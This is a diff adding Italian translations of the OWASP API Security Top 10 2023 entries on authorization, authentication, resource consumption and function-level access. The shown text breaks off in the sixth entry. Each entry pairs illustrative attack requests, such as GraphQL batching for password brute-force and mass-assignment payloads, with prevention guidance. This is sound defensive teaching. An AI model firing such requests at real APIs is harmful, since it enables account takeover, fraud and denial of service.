0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md \ No newline at end of file diff --git a/editions/2023/it/0xa1-broken-object-level-authorization.md b/editions/2023/it/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..d7c29154e --- /dev/null +++ b/editions/2023/it/0xa1-broken-object-level-authorization.md @@ -0,0 +1,111 @@ +# API1:2023 Broken Object Level Authorization + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **Facile** | Diffusione **Elevata** : Rilevabilità **Facile** | Tecnico **Moderato** : Specifico per il Business | +| Gli attaccanti possono sfruttare gli endpoint API vulnerabili alla Broken Object Level Authorization manipolando l'ID di un oggetto inviato nella richiesta. Gli ID degli oggetti possono essere qualsiasi cosa: interi sequenziali, UUID o stringhe generiche. Indipendentemente dal tipo di dato, sono facilmente identificabili nel target della richiesta (percorso o parametri della query string), nelle intestazioni della richiesta, o anche come parte del payload della richiesta. | Questo problema è estremamente comune nelle applicazioni basate su API perché il componente server di solito non tiene traccia completamente dello stato del client e si affida invece a parametri come gli ID degli oggetti, inviati dal client per decidere a quali oggetti accedere. La risposta del server è generalmente sufficiente per capire se la richiesta è andata a buon fine. | L'accesso non autorizzato agli oggetti di altri utenti può comportare la divulgazione di dati a soggetti non autorizzati, la perdita di dati o la loro manipolazione. In determinate circostanze, l'accesso non autorizzato agli oggetti può portare anche alla compromissione totale dell'account. | + +## L'API è Vulnerabile? + +L'autorizzazione a livello di oggetto è un meccanismo di controllo degli accessi +che viene solitamente implementato a livello di codice per verificare che un +utente possa accedere solo agli oggetti per i quali ha i permessi necessari. + +Ogni endpoint API che riceve un ID di un oggetto ed esegue qualsiasi azione su +di esso dovrebbe implementare controlli di autorizzazione a livello di oggetto. +I controlli devono verificare che l'utente autenticato abbia i permessi per +eseguire l'azione richiesta sull'oggetto richiesto. + +Le carenze in questo meccanismo portano tipicamente a divulgazione non +autorizzata di informazioni, modifica o distruzione di tutti i dati. + +Confrontare l'ID utente della sessione corrente (ad esempio estraendolo dal +token JWT) con il parametro ID vulnerabile non è una soluzione sufficiente per +risolvere la Broken Object Level Authorization (BOLA). Questo approccio potrebbe +coprire solo un sottoinsieme ristretto di casi. + +Nel caso di BOLA, è per design che l'utente avrà accesso all'endpoint/funzione +API vulnerabile. La violazione avviene a livello di oggetto, manipolando l'ID. +Se un attaccante riesce ad accedere a un endpoint/funzione API a cui non +dovrebbe avere accesso, si tratta di un caso di [Broken Function Level +Authorization][5] (BFLA) e non di BOLA. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Una piattaforma di e-commerce per negozi online fornisce una pagina con i grafici +delle entrate per i negozi ospitati. Analizzando le richieste del browser, un +attaccante identifica gli endpoint API usati come fonte dati per quei grafici e +il loro schema: `/shops/{shopName}/revenue_data.json`. Utilizzando un altro +endpoint API, l'attaccante ottiene la lista di tutti i nomi dei negozi ospitati. +Con un semplice script che manipola i nomi nella lista, sostituendo `{shopName}` +nell'URL, l'attaccante ottiene accesso ai dati di vendita di migliaia di negozi. + +### Scenario #2 + +Un produttore di automobili ha abilitato il controllo remoto dei propri veicoli +tramite un'API mobile per la comunicazione con lo smartphone del conducente. +L'API consente al conducente di avviare e spegnere il motore da remoto e di +bloccare e sbloccare le portiere. Come parte di questo flusso, l'utente invia +il Numero di Identificazione del Veicolo (VIN) all'API. +L'API non verifica che il VIN corrisponda a un veicolo appartenente all'utente +autenticato, il che porta a una vulnerabilità BOLA. Un attaccante può accedere +a veicoli che non gli appartengono. + +### Scenario #3 + +Un servizio di archiviazione documenti online consente agli utenti di +visualizzare, modificare, archiviare ed eliminare i propri documenti. Quando un +documento viene eliminato, una mutazione GraphQL con l'ID del documento viene +inviata all'API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +Poiché il documento con l'ID specificato viene eliminato senza ulteriori +verifiche sui permessi, un utente potrebbe essere in grado di eliminare il +documento di un altro utente. + +## Come Prevenire + +* Implementare un meccanismo di autorizzazione adeguato che si basi sulle policy + e sulla gerarchia degli utenti. +* Utilizzare il meccanismo di autorizzazione per verificare che l'utente + autenticato abbia il permesso di eseguire l'azione richiesta sul record in + ogni funzione che utilizza un input dal client per accedere a un record nel + database. +* Preferire l'uso di valori casuali e imprevedibili come GUID per gli ID dei + record. +* Scrivere test per valutare la vulnerabilità del meccanismo di autorizzazione. + Non rilasciare modifiche che causino il fallimento dei test. + +## Riferimenti + +### OWASP + +* [Authorization Cheat Sheet][1] +* [Authorization Testing Automation Cheat Sheet][2] + +### Esterni + +* [CWE-285: Improper Authorization][3] +* [CWE-639: Authorization Bypass Through User-Controlled Key][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md \ No newline at end of file diff --git a/editions/2023/it/0xa2-broken-authentication.md b/editions/2023/it/0xa2-broken-authentication.md new file mode 100644 index 000000000..32e94319b --- /dev/null +++ b/editions/2023/it/0xa2-broken-authentication.md @@ -0,0 +1,140 @@ +# API2:2023 Broken Authentication + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **Facile** | Diffusione **Comune** : Rilevabilità **Facile** | Tecnico **Grave** : Specifico per il Business | +| Il meccanismo di autenticazione è un bersaglio facile per gli attaccanti poiché è esposto a tutti. Sebbene alcune problematiche di autenticazione possano richiedere competenze tecniche più avanzate per essere sfruttate, gli strumenti di attacco sono generalmente disponibili. | Le incomprensioni di ingegneri software e di sicurezza riguardo ai confini dell'autenticazione e la complessità intrinseca dell'implementazione rendono questi problemi molto diffusi. Le metodologie per rilevare un'autenticazione compromessa sono disponibili e facili da realizzare. | Gli attaccanti possono ottenere il controllo completo degli account di altri utenti nel sistema, leggere i loro dati personali ed eseguire azioni sensibili per loro conto. È improbabile che i sistemi riescano a distinguere le azioni degli attaccanti da quelle degli utenti legittimi. | + +## L'API è Vulnerabile? + +Gli endpoint e i flussi di autenticazione sono risorse che devono essere +protette. Inoltre, le funzionalità di "recupero password / reset password" +devono essere trattate allo stesso modo dei meccanismi di autenticazione. + +Un'API è vulnerabile se: + +* Consente il credential stuffing, in cui l'attaccante utilizza la forza bruta + con una lista di nomi utente e password validi. +* Consente agli attaccanti di effettuare un attacco a forza bruta sullo stesso + account utente, senza presentare captcha o meccanismi di blocco dell'account. +* Permette password deboli. +* Invia dettagli di autenticazione sensibili, come token di autenticazione e + password, nell'URL. +* Consente agli utenti di modificare il proprio indirizzo email, la password + attuale o di eseguire altre operazioni sensibili senza richiedere la conferma + della password. +* Non verifica l'autenticità dei token. +* Accetta token JWT non firmati o firmati in modo debole (`{"alg":"none"}`) +* Non verifica la data di scadenza del JWT. +* Utilizza password in chiaro, non cifrate o con hashing debole. +* Utilizza chiavi di cifratura deboli. + +Oltre a ciò, un microservizio è vulnerabile se: + +* Altri microservizi possono accedervi senza autenticazione. +* Utilizza token deboli o prevedibili per garantire l'autenticazione. + +## Scenari di Attacco di Esempio + +## Scenario #1 + +Per autenticare un utente, il client deve inviare una richiesta API come quella +seguente con le credenziali dell'utente: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Se le credenziali sono valide, viene restituito un token di autenticazione che +dovrà essere fornito nelle richieste successive per identificare l'utente. I +tentativi di accesso sono soggetti a un rate limiting restrittivo: sono +consentite solo tre richieste al minuto. + +Per eseguire un attacco a forza bruta sull'account di una vittima, gli +attaccanti sfruttano il batching delle query GraphQL per aggirare il rate +limiting delle richieste, accelerando l'attacco: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Scenario #2 + +Per aggiornare l'indirizzo email associato all'account di un utente, i client +devono inviare una richiesta API come quella seguente: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Poiché l'API non richiede agli utenti di confermare la propria identità +fornendo la password attuale, gli attaccanti in grado di sottrarre il token +di autenticazione potrebbero riuscire a prendere il controllo dell'account +della vittima avviando il flusso di reset della password dopo aver aggiornato +l'indirizzo email dell'account. + +## Come Prevenire + +* Assicurarsi di conoscere tutti i possibili flussi di autenticazione all'API + (mobile/web/deep link che implementano autenticazione con un clic/ecc.). + Chiedere agli sviluppatori quali flussi sono stati tralasciati. +* Documentarsi sui meccanismi di autenticazione in uso. Assicurarsi di capire + cosa sono e come vengono utilizzati. OAuth non è un sistema di autenticazione, + e nemmeno le API key. +* Non reinventare la ruota nell'autenticazione, nella generazione di token o + nell'archiviazione delle password. Utilizzare gli standard. +* Gli endpoint di recupero credenziali/reset password devono essere trattati + come gli endpoint di login in termini di protezione da forza bruta, rate + limiting e blocco dell'account. +* Richiedere una nuova autenticazione per le operazioni sensibili (ad esempio + la modifica dell'email del titolare dell'account o del numero di telefono + per il 2FA). +* Utilizzare l'[OWASP Authentication Cheatsheet][1]. +* Dove possibile, implementare l'autenticazione a più fattori. +* Implementare meccanismi anti-forza bruta per mitigare il credential stuffing, + gli attacchi a dizionario e gli attacchi a forza bruta sugli endpoint di + autenticazione. Questo meccanismo deve essere più restrittivo dei normali + meccanismi di rate limiting delle API. +* Implementare meccanismi di [blocco dell'account][2]/captcha per prevenire + attacchi a forza bruta su utenti specifici. Implementare controlli sulle + password deboli. +* Le API key non devono essere utilizzate per l'autenticazione degli utenti. + Devono essere utilizzate solo per l'autenticazione dei [client API][3]. + +## Riferimenti + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Esterni + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html \ No newline at end of file diff --git a/editions/2023/it/0xa3-broken-object-property-level-authorization.md b/editions/2023/it/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..37f12dec5 --- /dev/null +++ b/editions/2023/it/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,150 @@ +# API3:2023 Broken Object Property Level Authorization + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **Facile** | Diffusione **Comune** : Rilevabilità **Facile** | Tecnico **Moderato** : Specifico per il Business | +| Le API tendono a esporre endpoint che restituiscono tutte le proprietà degli oggetti. Questo vale in particolare per le REST API. Per altri protocolli come GraphQL, potrebbe essere necessario costruire richieste ad hoc per specificare quali proprietà devono essere restituite. Identificare queste proprietà aggiuntive che possono essere manipolate richiede più impegno, ma esistono alcuni strumenti automatizzati che possono aiutare in questo compito. | Analizzare le risposte dell'API è sufficiente per identificare informazioni sensibili nelle rappresentazioni degli oggetti restituiti. Il fuzzing viene solitamente usato per identificare proprietà aggiuntive (nascoste). La possibilità di modificarle dipende dalla costruzione di una richiesta API e dall'analisi della risposta. Potrebbe essere necessaria un'analisi degli effetti collaterali se la proprietà bersaglio non viene restituita nella risposta API. | L'accesso non autorizzato a proprietà private/sensibili degli oggetti può comportare divulgazione di dati, perdita di dati o corruzione di dati. In determinate circostanze, l'accesso non autorizzato alle proprietà degli oggetti può portare a escalation di privilegi o alla compromissione parziale/totale dell'account. | + +## L'API è Vulnerabile? + +Quando si consente a un utente di accedere a un oggetto tramite un endpoint API, +è importante verificare che l'utente abbia accesso alle specifiche proprietà +dell'oggetto a cui sta cercando di accedere. + +Un endpoint API è vulnerabile se: + +* Espone proprietà di un oggetto che sono considerate sensibili e non dovrebbero + essere lette dall'utente. (precedentemente denominato: "[Excessive + Data Exposure][1]") +* Consente a un utente di modificare, aggiungere e/o eliminare il valore di una + proprietà sensibile di un oggetto a cui l'utente non dovrebbe avere accesso + (precedentemente denominato: "[Mass Assignment][2]") + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Un'app di incontri consente agli utenti di segnalare altri utenti per +comportamenti inappropriati. Come parte di questo flusso, l'utente fa clic su +un pulsante "segnala" e viene attivata la seguente chiamata API: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +L'endpoint API è vulnerabile perché consente all'utente autenticato di accedere +a proprietà sensibili dell'oggetto utente segnalato, come "fullName" e +"recentLocation", che non dovrebbero essere accessibili ad altri utenti. + +### Scenario #2 + +Una piattaforma di marketplace online, che consente a un tipo di utenti +("host") di affittare il proprio appartamento a un altro tipo di utenti +("ospiti"), richiede che l'host accetti una prenotazione effettuata da un +ospite prima di addebitare il costo del soggiorno. + +Come parte di questo flusso, una chiamata API viene inviata dall'host a +`POST /api/host/approve_booking` con il seguente payload legittimo: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +L'host ripete la richiesta legittima e aggiunge il seguente payload malevolo: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +L'endpoint API è vulnerabile perché non viene verificato se l'host dovrebbe +avere accesso alla proprietà interna dell'oggetto - `total_stay_price`, e +all'ospite verrà addebitato un importo superiore a quello dovuto. + +### Scenario #3 + +Un social network basato su brevi video applica filtri restrittivi sui contenuti +e censura. Anche se un video caricato viene bloccato, l'utente può modificare +la descrizione del video tramite la seguente richiesta API: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +Un utente frustrato può ripetere la richiesta legittima e aggiungere il +seguente payload malevolo: + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +L'endpoint API è vulnerabile perché non viene verificato se l'utente dovrebbe +avere accesso alla proprietà interna dell'oggetto - `blocked`, e l'utente può +modificare il valore da `true` a `false` e sbloccare i propri contenuti bloccati. + +## Come Prevenire + +* Quando si espone un oggetto tramite un endpoint API, assicurarsi sempre che + l'utente debba avere accesso alle proprietà dell'oggetto che si espongono. +* Evitare l'uso di metodi generici come `to_json()` e `to_string()`. Selezionare + invece specificamente le proprietà dell'oggetto che si desidera restituire. +* Se possibile, evitare l'uso di funzioni che associano automaticamente l'input + del client a variabili di codice, oggetti interni o proprietà degli oggetti + ("Mass Assignment"). +* Consentire modifiche solo alle proprietà degli oggetti che devono essere + aggiornate dal client. +* Implementare un meccanismo di validazione della risposta basato su schema come + ulteriore livello di sicurezza. Come parte di questo meccanismo, definire e + applicare i dati restituiti da tutti i metodi API. +* Mantenere le strutture dati restituite al minimo indispensabile, in base ai + requisiti funzionali/di business per l'endpoint. + +## Riferimenti + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### Esterni + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html \ No newline at end of file diff --git a/editions/2023/it/0xa4-unrestricted-resource-consumption.md b/editions/2023/it/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..b75eb820b --- /dev/null +++ b/editions/2023/it/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,174 @@ +# API4:2023 Unrestricted Resource Consumption + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **Media** | Diffusione **Elevata** : Rilevabilità **Facile** | Tecnico **Grave** : Specifico per il Business | +| Lo sfruttamento richiede semplici richieste API. Più richieste concorrenti possono essere effettuate da un singolo computer locale o utilizzando risorse di cloud computing. La maggior parte degli strumenti automatizzati disponibili è progettata per causare DoS tramite elevati volumi di traffico, compromettendo la velocità di servizio delle API. | È comune trovare API che non limitano le interazioni con i client o il consumo di risorse. Richieste API artefatte, come quelle che includono parametri che controllano il numero di risorse da restituire, e l'analisi dello stato/tempo/lunghezza delle risposte dovrebbero consentire l'identificazione del problema. Lo stesso vale per le operazioni in batch. Sebbene gli agenti di minaccia non abbiano visibilità sull'impatto sui costi, questo può essere dedotto dal modello di business/pricing dei fornitori di servizi (ad esempio provider cloud). | Lo sfruttamento può portare a DoS per esaurimento delle risorse, ma può anche causare un aumento dei costi operativi, come quelli legati all'infrastruttura per una maggiore richiesta di CPU, l'aumento delle necessità di storage cloud, ecc. | + +## L'API è Vulnerabile? + +Soddisfare le richieste API richiede risorse come larghezza di banda di rete, +CPU, memoria e storage. A volte le risorse necessarie sono rese disponibili dai +fornitori di servizi tramite integrazioni API, con addebito per richiesta, come +l'invio di email/SMS/telefonate, la validazione biometrica, ecc. + +Un'API è vulnerabile se almeno uno dei seguenti limiti è assente o impostato +in modo inappropriato (ad esempio troppo basso/alto): + +* Timeout di esecuzione +* Memoria massima allocabile +* Numero massimo di file descriptor +* Numero massimo di processi +* Dimensione massima del file caricabile +* Numero di operazioni da eseguire in una singola richiesta del client API + (ad esempio batching GraphQL) +* Numero di record per pagina da restituire in una singola richiesta-risposta +* Limite di spesa per i fornitori di servizi di terze parti + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Un social network ha implementato un flusso "password dimenticata" tramite +verifica SMS, consentendo all'utente di ricevere un token monouso via SMS per +reimpostare la password. + +Quando un utente clicca su "password dimenticata", una chiamata API viene inviata +dal browser dell'utente all'API back-end: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Poi, in background, una chiamata API viene inviata dal back-end a un'API di +terze parti che si occupa dell'invio degli SMS: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +Il provider di terze parti, Willyo, addebita $0,05 per questo tipo di chiamata. + +Un attaccante scrive uno script che invia la prima chiamata API decine di +migliaia di volte. Il back-end segue e richiede a Willyo di inviare decine di +migliaia di messaggi, causando all'azienda una perdita di migliaia di dollari +in pochi minuti. + +### Scenario #2 + +Un endpoint API GraphQL consente all'utente di caricare un'immagine del profilo. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +Una volta completato il caricamento, l'API genera più miniature con dimensioni +diverse basate sull'immagine caricata. Questa operazione grafica utilizza molta +memoria del server. + +L'API implementa una protezione tradizionale di rate limiting — un utente non +può accedere all'endpoint GraphQL troppe volte in un breve periodo di tempo. +L'API controlla anche le dimensioni dell'immagine caricata prima di generare +le miniature per evitare di elaborare immagini troppo grandi. + +Un attaccante può facilmente aggirare questi meccanismi sfruttando la natura +flessibile di GraphQL: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +Poiché l'API non limita il numero di volte in cui l'operazione `uploadPic` può +essere tentata, la chiamata porterà all'esaurimento della memoria del server e +al Denial of Service. + +### Scenario #3 + +Un fornitore di servizi consente ai client di scaricare file di grandi dimensioni +arbitrarie tramite la propria API. Questi file sono archiviati in un object +storage cloud e non cambiano spesso. Il fornitore di servizi si affida a un +servizio di cache per migliorare le prestazioni e mantenere basso il consumo di +banda. Il servizio di cache memorizza solo file fino a 15GB. + +Quando uno dei file viene aggiornato, la sua dimensione aumenta a 18GB. Tutti i +client del servizio iniziano immediatamente a scaricare la nuova versione. Poiché +non erano presenti avvisi sui costi di consumo né un limite massimo di spesa per +il servizio cloud, la fattura mensile successiva aumenta da una media di 13$ +a 8.000$. + +## Come Prevenire + +* Utilizzare una soluzione che faciliti la limitazione di [memoria][1], + [CPU][2], [numero di riavvii][3], [file descriptor e processi][4] come + container o codice serverless (ad esempio Lambda). +* Definire e applicare una dimensione massima dei dati su tutti i parametri e + i payload in ingresso, come lunghezza massima delle stringhe, numero massimo + di elementi negli array e dimensione massima del file caricabile + (indipendentemente dal fatto che venga archiviato localmente o nel cloud). +* Implementare un limite alla frequenza con cui un client può interagire con + l'API in un determinato intervallo di tempo (rate limiting). +* Il rate limiting deve essere calibrato in base alle esigenze di business. + Alcuni endpoint API potrebbero richiedere policy più restrittive. +* Limitare/ridurre la frequenza con cui un singolo client/utente API può + eseguire una singola operazione (ad esempio validare un OTP o richiedere il + recupero della password senza visitare l'URL monouso). +* Aggiungere una corretta validazione lato server per i parametri della query + string e del corpo della richiesta, in particolare quelli che controllano il + numero di record da restituire nella risposta. +* Configurare limiti di spesa per tutti i fornitori di servizi/integrazioni API. + Quando non è possibile impostare limiti di spesa, configurare avvisi di + fatturazione. + +## Riferimenti + +### OWASP + +* ["Availability" - Web Service Security Cheat Sheet][5] +* ["DoS Prevention" - GraphQL Cheat Sheet][6] +* ["Mitigating Batching Attacks" - GraphQL Cheat Sheet][7] + +### Esterni + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf \ No newline at end of file diff --git a/editions/2023/it/0xa5-broken-function-level-authorization.md b/editions/2023/it/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..418ea9376 --- /dev/null +++ b/editions/2023/it/0xa5-broken-function-level-authorization.md @@ -0,0 +1,104 @@ +# API5:2023 Broken Function Level Authorization + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **Facile** | Diffusione **Comune** : Rilevabilità **Facile** | Tecnico **Grave** : Specifico per il Business | +| Lo sfruttamento richiede che l'attaccante invii chiamate API legittime a un endpoint API a cui non dovrebbe avere accesso come utente anonimo o come utente normale senza privilegi. Gli endpoint esposti saranno facilmente sfruttati. | I controlli di autorizzazione per una funzione o una risorsa vengono solitamente gestiti tramite configurazione o a livello di codice. Implementare controlli adeguati può essere un compito complesso, poiché le applicazioni moderne possono contenere molti tipi di ruoli, gruppi e gerarchie utente complesse (ad esempio sotto-utenti o utenti con più di un ruolo). È più facile scoprire queste falle nelle API poiché le API sono più strutturate e l'accesso a funzioni diverse è più prevedibile. | Tali falle consentono agli attaccanti di accedere a funzionalità non autorizzate. Le funzioni amministrative sono i principali obiettivi di questo tipo di attacco e possono portare a divulgazione di dati, perdita di dati o corruzione di dati. In ultima analisi, può portare a interruzioni del servizio. | + +## L'API è Vulnerabile? + +Il modo migliore per individuare problemi di Broken Function Level Authorization +è eseguire un'analisi approfondita del meccanismo di autorizzazione tenendo a +mente la gerarchia degli utenti, i diversi ruoli o gruppi nell'applicazione, e +ponendo le seguenti domande: + +* Un utente normale può accedere agli endpoint amministrativi? +* Un utente può eseguire azioni sensibili (ad esempio creazione, modifica o + eliminazione) a cui non dovrebbe avere accesso semplicemente cambiando il + metodo HTTP (ad esempio da `GET` a `DELETE`)? +* Un utente del gruppo X può accedere a una funzione che dovrebbe essere esposta + solo agli utenti del gruppo Y, semplicemente indovinando l'URL e i parametri + dell'endpoint (ad esempio `/api/v1/users/export_all`)? + +Non presumere che un endpoint API sia ordinario o amministrativo solo in base +al percorso URL. + +Sebbene gli sviluppatori possano scegliere di esporre la maggior parte degli +endpoint amministrativi sotto un percorso relativo specifico, come `/api/admins`, +è molto comune trovare questi endpoint amministrativi sotto altri percorsi +relativi insieme agli endpoint ordinari, come `/api/users`. + +## Scenari di Attacco di Esempio + +### Scenario #1 + +Durante il processo di registrazione per un'applicazione che consente solo agli +utenti invitati di iscriversi, l'app mobile effettua una chiamata API a +`GET /api/invites/{invite_guid}`. La risposta contiene un JSON con i dettagli +dell'invito, incluso il ruolo dell'utente e il suo indirizzo email. + +Un attaccante duplica la richiesta e manipola il metodo HTTP e l'endpoint in +`POST /api/invites/new`. Questo endpoint dovrebbe essere accessibile solo dagli +amministratori tramite la console di amministrazione. L'endpoint non implementa +controlli di autorizzazione a livello di funzione. + +L'attaccante sfrutta la vulnerabilità e invia un nuovo invito con privilegi +di amministratore: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +In seguito, l'attaccante utilizza l'invito artefatto per creare un account +amministratore e ottenere accesso completo al sistema. + +### Scenario #2 + +Un'API contiene un endpoint che dovrebbe essere esposto solo agli +amministratori — `GET /api/admin/v1/users/all`. Questo endpoint restituisce i +dettagli di tutti gli utenti dell'applicazione e non implementa controlli di +autorizzazione a livello di funzione. Un attaccante che ha appreso la struttura +dell'API fa un tentativo ragionato e riesce ad accedere a questo endpoint, che +espone dettagli sensibili degli utenti dell'applicazione. + +## Come Prevenire + +La tua applicazione dovrebbe avere un modulo di autorizzazione coerente e +facilmente analizzabile, invocato da tutte le funzioni di business. Spesso, +tale protezione è fornita da uno o più componenti esterni al codice +dell'applicazione. + +* Il meccanismo (o i meccanismi) di controllo deve negare l'accesso per + impostazione predefinita, richiedendo concessioni esplicite a ruoli specifici + per l'accesso a ogni funzione. +* Verificare gli endpoint API rispetto alle falle di autorizzazione a livello + di funzione, tenendo a mente la logica di business dell'applicazione e la + gerarchia dei gruppi. +* Assicurarsi che tutti i controller amministrativi ereditino da un controller + astratto amministrativo che implementa i controlli di autorizzazione in base + al gruppo/ruolo dell'utente. +* Assicurarsi che le funzioni amministrative all'interno di un controller + ordinario implementino controlli di autorizzazione basati sul gruppo e sul + ruolo dell'utente. + +## Riferimenti + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### Esterni + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html \ No newline at end of file diff --git a/editions/2023/it/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/it/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..629aee6a1 --- /dev/null +++ b/editions/2023/it/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,114 @@ +# API6:2023 Unrestricted Access to Sensitive Business Flows + +| Agenti di Minaccia/Vettori di Attacco | Debolezza di Sicurezza | Impatti | +| - | - | - | +| Specifico per API : Sfruttabilità **Facile** | Diffusione **Elevata** : Rilevabilità **Media** | Tecnico **Moderato** : Specifico per il Business | +| Lo sfruttamento implica solitamente la comprensione del modello di business supportato dall'API, l'identificazione dei flussi di business sensibili e l'automazione dell'accesso a questi flussi, causando danno al business. | La mancanza di una visione complessiva dell'API tale da supportare pienamente i requisiti di business tende a contribuire alla diffusione di questo problema. Gli attaccanti identificano manualmente le risorse (ad esempio gli endpoint) coinvolte nel flusso target e il modo in cui interagiscono tra loro. Se sono già presenti meccanismi di mitigazione, gli attaccanti devono trovare un modo per aggirarli. | In generale non si prevede un impatto tecnico. Lo sfruttamento potrebbe danneggiare il business in diversi modi, ad esempio: impedire agli 